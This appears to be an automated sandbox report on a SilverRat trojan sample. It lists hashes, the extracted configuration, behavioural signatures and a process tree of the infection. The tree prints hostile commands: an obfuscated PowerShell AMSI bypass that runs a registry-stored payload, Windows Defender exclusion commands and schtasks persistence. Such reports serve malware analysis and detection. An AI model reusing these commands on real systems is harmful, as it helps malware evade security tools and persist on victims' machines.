Analysis

  • max time kernel
    90s
  • max time network
    90s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-11-2024 04:24

General

  • Target

    Sex.exe

  • Size

    8KB

  • MD5

    e618f84aafa47620606982c4abbc7d67

  • SHA1

    6f6e1f34130d3468da33ce0cadebddfce494255b

  • SHA256

    ad616acb49d68d155b0ded0a269e9f823fda47f9a125e1a3eb8a71ffbd3d4747

  • SHA512

    a5de82399c37e6441edbca72899588c5cbf5574968a81a2a4fe02aa5101a51a4c7b07219c92f10255005f2c8fe6abb66e1d493942e7757b6dfd0c318eb01b704

  • SSDEEP

    96:zdXT3QNm17yCqN1BN3CyvI35R0k7+AmRuPKuHVlXxdbyIzNt:xrX7yCqDyyvYv+Am4PHVlXnyK

Malware Config

Extracted

Family

silverrat

Version

1.0.0.0

Mutex

SilverMutex_GAZUkcCGjo

Attributes
  • certificate

    MIIE4DCCAsigAwIBAgIQAKQYOfZd86J2BfNjhG4CWTANBgkqhkiG9w0BAQ0FADARMQ8wDQYDVQQDDAZTaWx2ZXIwIBcNMjIwODI2MTkwMTA4WhgPOTk5OTEyMzEyMzU5NTlaMBExDzANBgNVBAMMBlNpbHZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPbpOWfhZTuOfEaqqImTTe5dNHAAry7/mf00DCoI4lPZfypsc1tYraxSPFeayGu09a3qdhkWKSVIgwnu2n4GLQNOCY9fh/1oyrX4Iir3BIkYeU7pKTWgjhUlAmFAUAaNr0ca23Ku2kN79jrDzRznOgE2DEW4p7OiM4Mb097ma9lzu7MyssHbY4VCteAhj9HZiplqBxaC1vXDmzxqG+gUZ1aLcyG7ssdkOjtWVBgT3gD/gOl7KchRzCFB1egDC/vD9WZCG35U3Ngi+IkTznoXR1R06cq4v0UnGjE37R2vcB21qb0ZYNiZJXZHv5i9+R7xoPeNoLda5PqnfGGbhPvNEdD56mdcOKlzGIuyemLkUo8texdpiBWKbtc3JZf5VsKxjJtHDK3xW6gDGI+PAirzGkFPmwcf8WgsblvzLg8OZpVxVs8rmKWoi6qIrf4CXnyl73J4lgzW+ir7PjANAQXwLNGdNnvdMeLeo/muGQPdeNpr6OczGGnkWA4qniHeL51/Gx0a8A+jP9zKiyu+qHcsP2IotgWDH/KlzJVr7IAum+DV92uV8poTDcUNcHaKvhHA65KmEtsvLbK6lFZcAMC0eWC0VgpW44T1/16rOaaky5mP6rTMc3nSyOl/lU/XgAgGGQPe22bRLWYzd3WVeEpI1WnHYXS+tL9IOe4kJP+pYsWDAgMBAAGjMjAwMB0GA1UdDgQWBBR32TJj2LeUx9L+RcSOvmFV6VJq6TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQA+qucSOi7ov7Q1FmAjMf925KuvKuCNwJiu3Sqo3FDGVAD1fAwAi2FdyuXEO2VIUPZCkalFcBna5rqyrc6tcS4T0IL2TsYLrsuGir7PWP7CAcft1urYS1HpNpHxeH/nixwnQaQs/MuRmdm2TeCj6G21P5BTW55U5y9sMPSYwhbD2N7XLgnSQd5Y+80TR7FUiye/k3D37fI9PRhSQGbfYFRQQTmxj84dPTnY5CVgaY9d8fNiFZkyjaZdf+mibK0xQTf+xLVVj+toDNCkc1F462TdmFhCrHd4PoMo0yLDNv4SC6NLRq4haWDRtORw6gd5GYIoCQ3m3oQvNlNxXhhIjsOyxkxOrkCD0c+57PIc7EmKXieJa/XxnkcIVxO8dvTY/vijuz/VaZYl/lPu9ckuqgJ1wRvvsHl70Trv4Mn4X5uCIqRFFlK/mSOZbLIguGkDN3QIZABvej89vlZMhrVfZOG2oawe23FskHjv7thF/WzOXtWw6RUVC1V+hCwbuxFNUjZmmOTUwdXHnus7I2AuiG6Jz1+y9aYiXBcVTdSljxjHRRmiRaAnY94h58vN8NJ4hKL2GVCo6LxkpuplmcntJN0cKraKTPxSXcCRrqWxX9qoIbfvBcUU4vH1jPJCCLNCuDyD3lgQkpPVvq0EMU1a2HFGgMEQMjpYpb38rcadDhT5ag==

  • decrypted_key

    -|S.S.S|-

  • key

    yy6zDjAUmbB09pKvo5Hhug==

  • key_x509

    c0pTT0F4YUlWdnprRUZXU0lZck5EUEdMcFJ1UnpG

  • reconnect_delay

    4

  • server_signature

    N+iIgSoPCcWhCD0PCuU1EnqdssSySClpb5jHn0rlzcGXjOiC8ogxjV2ydCOO+ArBSp8RSv40oajf12v1vhqfmk2ilGPMWjEbqLvPDU2LMgihDzwv3ZfuA6mP2Aa/Unj1blMMQJIfhkDRZ8Y/8D4k3yCrzjkQpVL/lzoytAKaxhscaFQWcUzMysFWdzTOXj3EGXxOUftnKNoeefKDUkkgsOkR8CtSM/hj7iXHgsq5nnhloGeE1zAP9Sfk3YWSl/FkqV9JxjUEiN3eZX9csVjzZ53RP9RqcnALfPHrx/g9CYTRlm4W+e3cO3hGznYJCYZMSkqmPmRpJrecIcL9gkIvfUtbr5vyN9G26VEJDcKUe0URP7GL6HSw+qZ3Mgtb64YVV9GPP/kFtBxewsjmF6szDIlCmHGihNo5kT50Aqxzsv3Vhks9p5hZpt2fvOlKHwYlu+kg9RYn/90wIP28qUbfInnbw4zOcEuhgu9YnApx380zyAJg7tD2dts5W/vcyRBrnIXtJlGVeFEh8pQQI7Mr9esuQkX6GmMcWGX+lB244AgTEf3lKcC0ADB3UiLdGy7HwB4X2cUqvuyXJQicFfuf+wMMh3Q9Ocg+AG696zSjFSZdGbA722nbixPfZWlp0l1z0GF7ntSbelpa67RgjQQc6PlepRIlylqCjTg/EASPPvE=

Signatures

  • SilverRat

    SilverRat is trojan written in C#.

  • Silverrat family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 42 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{bac40e51-09ee-4729-9154-41c22f77609c}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4584
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:668
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:956
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:508
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:952
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1064
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1084
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1176
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:2912
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:yZJanTwbuUYg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wDUFYRrQaOxVrt,[Parameter(Position=1)][Type]$YFnakGISxb)$ffcxsYmXiHF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+''+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+''+'e'+''+'T'+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+'l'+'a'+''+[Char](115)+'s'+','+''+'P'+'ubl'+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+'e'+'d'+[Char](44)+'A'+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+''+','+''+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$ffcxsYmXiHF.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+'p'+'e'+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e,'+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'Sig'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$wDUFYRrQaOxVrt).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+'n'+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$ffcxsYmXiHF.DefineMethod('Inv'+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+'li'+[Char](99)+''+','+'Hid'+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+'lo'+'t'+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+'al',$YFnakGISxb,$wDUFYRrQaOxVrt).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+'n'+''+[Char](97)+'ged');Write-Output $ffcxsYmXiHF.CreateType();}$oZCKWVmKBnBvx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+'m'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('Mi'+[Char](99)+'ro'+[Char](115)+''+'o'+'f'+[Char](116)+'.'+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+'.Un'+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+'N'+'a'+[Char](116)+''+'i'+''+[Char](118)+'e'+[Char](77)+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$wJCtIddCwFSxtB=$oZCKWVmKBnBvx.GetMethod(''+[Char](71)+''+[Char](101)+'tPr'+[Char](111)+''+[Char](99)+''+'A'+'dd'+'r'+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+'c'+','+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CNOqMpRayuiitoTsPex=yZJanTwbuUYg @([String])([IntPtr]);$bMFkmqrwOPqwzSeAQoRvao=yZJanTwbuUYg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ZuGrjhfmKyx=$oZCKWVmKBnBvx.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'n'+[Char](101)+''+[Char](108)+''+'3'+'2'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$zowcvTAAudkOiE=$wJCtIddCwFSxtB.Invoke($Null,@([Object]$ZuGrjhfmKyx,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+'L'+'i'+[Char](98)+''+[Char](114)+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$dTUmCadgHaaHTfUBV=$wJCtIddCwFSxtB.Invoke($Null,@([Object]$ZuGrjhfmKyx,[Object](''+'V'+'i'+[Char](114)+''+'t'+''+'u'+''+[Char](97)+'lP'+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$JvYFKju=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zowcvTAAudkOiE,$CNOqMpRayuiitoTsPex).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$SHYXHrjFYhTcZdRzu=$wJCtIddCwFSxtB.Invoke($Null,@([Object]$JvYFKju,[Object]('Am'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'er')));$CIxxWjmBDS=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dTUmCadgHaaHTfUBV,$bMFkmqrwOPqwzSeAQoRvao).Invoke($SHYXHrjFYhTcZdRzu,[uint32]8,4,[ref]$CIxxWjmBDS);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$SHYXHrjFYhTcZdRzu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dTUmCadgHaaHTfUBV,$bMFkmqrwOPqwzSeAQoRvao).Invoke($SHYXHrjFYhTcZdRzu,[uint32]8,0x20,[ref]$CIxxWjmBDS);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+'W'+'A'+''+'R'+''+'E'+'').GetValue('s'+[Char](118)+'st'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:3520
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                        PID:1208
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1244
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1316
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                            1⤵
                              PID:1380
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                              1⤵
                                PID:1388
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                1⤵
                                  PID:1400
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:1420
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:2652
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                      1⤵
                                        PID:1580
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1604
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1676
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                            1⤵
                                              PID:1724
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1800
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                1⤵
                                                  PID:1808
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:1936
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:2000
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:2012
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                        1⤵
                                                          PID:1756
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2112
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2128
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2224
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2308
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2440
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2448
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                    1⤵
                                                                      PID:2664
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                      1⤵
                                                                      • Drops file in System32 directory
                                                                      PID:2696
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                        PID:2732
                                                                      • C:\Windows\sysmon.exe
                                                                        C:\Windows\sysmon.exe
                                                                        1⤵
                                                                          PID:2788
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2796
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2804
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                              1⤵
                                                                                PID:2984
                                                                              • C:\Windows\system32\wbem\unsecapp.exe
                                                                                C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                1⤵
                                                                                  PID:752
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                  1⤵
                                                                                    PID:3292
                                                                                  • C:\Windows\Explorer.EXE
                                                                                    C:\Windows\Explorer.EXE
                                                                                    1⤵
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3424
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Sex.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\Sex.exe"
                                                                                      2⤵
                                                                                      • Checks computer location settings
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3188
                                                                                      • C:\Users\Public\svClient.exe
                                                                                        "C:\Users\Public\svClient.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Adds Run key to start application
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1164
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1383.tmp.bat""
                                                                                          4⤵
                                                                                            PID:448
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              5⤵
                                                                                                PID:4856
                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                timeout 3
                                                                                                5⤵
                                                                                                • Delays execution with timeout.exe
                                                                                                PID:2476
                                                                                              • C:\Users\Admin\svClient\svClient.exe
                                                                                                "C:\Users\Admin\svClient\svClient.exe"
                                                                                                5⤵
                                                                                                • Checks computer location settings
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:2380
                                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                  "schtasks.exe" /query /TN svClient.exe
                                                                                                  6⤵
                                                                                                    PID:4864
                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      7⤵
                                                                                                        PID:3420
                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                      "schtasks.exe" /Create /SC ONCE /TN "svClient.exe" /TR "C:\Users\Admin\svClient\svClient.exe \"\svClient.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
                                                                                                      6⤵
                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                      PID:3004
                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                      "schtasks.exe" /query /TN svClient.exe
                                                                                                      6⤵
                                                                                                        PID:1696
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          7⤵
                                                                                                            PID:2640
                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                          "C:\Windows\System32\schtasks.exe" /create /sc hourly /mo 1 /tn "svClient_Task-HOURLY-01" /tr "%MyFile%" /st 00:00
                                                                                                          6⤵
                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                          PID:1220
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Public\svClient.exe'
                                                                                                    3⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2688
                                                                                                  • C:\Users\Public\sv.exe
                                                                                                    "C:\Users\Public\sv.exe"
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3132
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Public\sv.exe'
                                                                                                    3⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3960
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                1⤵
                                                                                                  PID:3548
                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                  1⤵
                                                                                                    PID:3732
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:3896
                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:3864
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                        1⤵
                                                                                                          PID:4976
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                          1⤵
                                                                                                            PID:1000
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                            1⤵
                                                                                                              PID:1980
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                              1⤵
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:4780
                                                                                                            • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                              "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                              1⤵
                                                                                                                PID:2212
                                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                1⤵
                                                                                                                  PID:3408
                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                  1⤵
                                                                                                                    PID:384
                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                    1⤵
                                                                                                                      PID:3596
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                      1⤵
                                                                                                                        PID:3948
                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:3144
                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:4708
                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:652
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                              1⤵
                                                                                                                                PID:3300
                                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                1⤵
                                                                                                                                • Checks BIOS information in registry
                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                • Enumerates system info in registry
                                                                                                                                PID:3192
                                                                                                                              • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                1⤵
                                                                                                                                  PID:2540
                                                                                                                                • C:\Windows\system32\svchost.exe
